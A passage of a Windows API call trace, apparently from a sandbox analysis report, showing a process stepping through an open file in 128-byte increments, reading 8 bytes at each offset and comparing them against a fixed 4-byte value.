	[0099.017] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.017] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.017] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6080
	[0099.017] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.017] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.017] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100
	[0099.017] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.017] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.017] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6180
	[0099.017] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.017] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.017] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200
	[0099.017] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.017] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.017] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6280
	[0099.017] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.017] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.017] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300
	[0099.017] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6380
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6480
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6580
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6680
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6780
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6880
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.018] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900
	[0099.018] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.018] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6980
	[0099.019] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.019] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00
	[0099.019] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.019] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a80
	[0099.019] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.019] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00
	[0099.019] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.019] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b80
	[0099.019] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.019] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00
	[0099.019] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.019] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c80
	[0099.019] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.019] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00
	[0099.019] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.019] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d80
	[0099.019] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.019] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00
	[0099.019] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.019] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e80
	[0099.019] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.019] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.019] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f80
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7080
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7180
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7280
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7380
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7480
	[0099.020] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.020] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.020] SetFilePointer (in: hFile=0xc4, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7580
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7680
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7780
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7880
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.021] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.021] SetFilePointer (in: hFile=0xc4, lDistanceToMove=31104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7980
	[0099.021] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
